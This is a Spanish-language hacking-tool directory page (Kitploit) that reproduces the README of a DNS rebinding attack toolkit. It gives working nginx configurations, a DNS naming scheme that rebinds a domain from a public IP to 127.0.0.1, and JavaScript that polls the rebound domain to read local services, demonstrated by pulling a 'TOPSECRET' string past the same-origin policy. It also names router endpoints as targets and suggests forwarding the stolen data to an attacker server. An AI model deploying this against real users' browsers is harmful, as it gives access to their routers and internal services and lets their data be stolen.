Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
dns-rebinding-tool — herramienta de dns rebind con scripts personalizados | Kitploit
Herramientas/GitHubGitHub/h43z/dns-rebinding-tool
Explotación de Aplicaciones WebRecopilación de InformaciónPruebas de PenetraciónAnálisis de DNS
GitHubh43z/dns-rebinding-tool

dns-rebinding-tool

herramienta de dns rebind con scripts personalizados

Ver Repositorio
858hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

Inspirado por @tavisio

Este proyecto pretende ser un kit de herramientas integral para probar más a fondo los ataques de DNS rebinding y mi interpretación para entender este tipo de ataques. Consiste en un servidor web y un servidor DNS pseudo que solo responde a consultas de tipo A.

El índice raíz del servidor web permite configurar y ejecutar el ataque con una rudimentaria interfaz web. Véase dnsrebindtool.43z.one.

Una configuración básica de nginx para alojar el servidor web:

root@kitploit:~
server {
  listen 80;
  server_name dnsrebindtool.43z.one;

  location / {
    proxy_pass http://localhost:5000;
  }
}

La ruta /attack del servidor web lee el parámetro GET script que debe proporcionar código javascript codificado en base64 y responde con el código decodificado (envuelto en un setTimeout) incrustado en una página HTML normal.

root@kitploit:~
% curl "http://dnsrebindtool.43z.one/attack?script=YWxlcnQoMSk=" 
<html>
    <script>

    setTimeout(function(){
      alert(1) 
    }, 3000)

  </script>
</html

Dentro de mi registrador para el dominio 43z.one, configuré un registro NS para el subdominio rebind que apunta a la IP donde está alojada esta herramienta.

root@kitploit:~
ns       A   81.4.124.10
rebind   NS  ns.43z.one

El servidor DNS solo responde a consultas de tipo A con este formato

evcmxfm4g . 81-4-124-10 . 127-0-0-1 .rebind.43z.one

La primera parte (subdominio) es solo una identificación aleatoria y debe generarse para cada sesión de ataque (la interfaz web lo hace en cada recarga). A continuación viene la IP a la que el servidor DNS debe responder durante los próximos 2 segundos y, en tercer lugar, la IP a la que el servidor debe responder después de que pase ese tiempo.

root@kitploit:~
$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one 
Fri Feb  2 21:18:20 CET 2018
Server:   8.8.8.8
Address:  8.8.8.8#53

Non-authoritative answer:
Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Address: 81.4.124.10

$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Fri Feb  2 21:18:23 CET 2018
Server:   8.8.8.8
Address:  8.8.8.8#53

Non-authoritative answer:
Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Address: 127.0.0.1

La última pieza que falta es una configuración de nginx para los dominios de rebinding. Solo la ruta /attack debe pasarse a la herramienta; las demás deben responder con un error. Esto permite atacar otros servicios en el puerto 80 con todas las rutas excepto /attack (como /api/monitoring/stats, un endpoint que expone mi router).

root@kitploit:~
server {
  listen 80;
  server_name *.rebind.43z.one;

  location / {
    return 404;
  }

  location /attack {
    proxy_pass http://localhost:5000/attack;
  }
}

Evicción de caché DNS

root@kitploit:~
var xhr = new XMLHttpRequest()
xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)
xhr.send()
// la primera vez que el navegador ve este dominio consulta al servidor DNS
// y obtiene 81.4.124.10

// espera más de 2 segundos

xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)
xhr.send()
// todavía usa 81.4.124.10 (Y NO 127.0.0.1)
// NO se realizó ninguna consulta DNS, el navegador usó la IP en caché

Esto es un problema para este tipo de ataque. Para que funcione, el navegador debe volver a emitir una nueva consulta DNS para obtener la segunda IP. En teoría, si solo esperas el tiempo suficiente entre las solicitudes, debería ocurrir una nueva consulta. Mis pruebas muestran que existe un enfoque más rápido pero más agresivo. Es muy probable que esto dependa de la configuración. Necesita más pruebas. Utilicé el siguiente script para medir el valor óptimo para la variable WAIT. Probado en Chromium 62.0.3202.89 ejecutándose en Debian buster/sid.

root@kitploit:~
var WAIT = 200
var start = Date.now()

var interval = setInterval(function(){
  var xhr = new XMLHttpRequest()
  xhr.open('GET', '//' + $REBIND_DOMAIN, false)

  xhr.send()

  if(xhr.status == 200){
    document.body.innerHTML = (Date.now() - start)/1000
    document.body.innerHTML += xhr.responseText
    clearInterval(interval)
    return
  }
}, WAIT)

Inicié un nuevo repositorio solo para explorar esto: dns cache eviction tester

Poniéndolo todo junto y probándolo.

root@kitploit:~
echo -e "HTTP/1.1 200 OK\n\n TOPSECRET" | sudo nc -lvp 80 -q1 127.0.0.1

Esta instancia de netcat sirve contenido al que me gustaría acceder. Mantengo el dominio de rebinding predeterminado
$RANDOM$.81-4-124-10.127-0-0-1.rebind.43z.one y el script predeterminado:

root@kitploit:~
var start = Date.now()

var interval = setInterval(function(){
  var xhr = new XMLHttpRequest()
  xhr.open('GET', '//' + $REBIND_DOMAIN, false)

  xhr.send()

  if(xhr.status == 200){
    document.body.innerHTML = (Date.now() - start)/1000
    document.body.innerHTML += xhr.responseText
    clearInterval(interval)
    return
  }
}, 200)

en dnsrebindtool.43z.one y pulso el botón Attack. Abro la pestaña de red de las herramientas de desarrollo para ver qué está sucediendo en segundo plano. Para mí, después de aproximadamente 60 segundos se llena con la cadena TOPSECRET y el tiempo que tardó. El DNS rebinding evitó la SOP. Para extraer los datos violados del iframe, se podría usar Window.PostMessage() o incluir código que reenvíe los datos a otro servidor atacante dentro del propio script.

Descargar herramienta
Valor de WAIT en msSolicitudes que envía ChromeTiempo hasta que vuelve a consultar DNS
070060
1070060
10060063
12050063
15040063
18040075
20030063
22030069
25030078
28030087
30020063
32020067
34020071
36020075
38020079
40020083
1000100103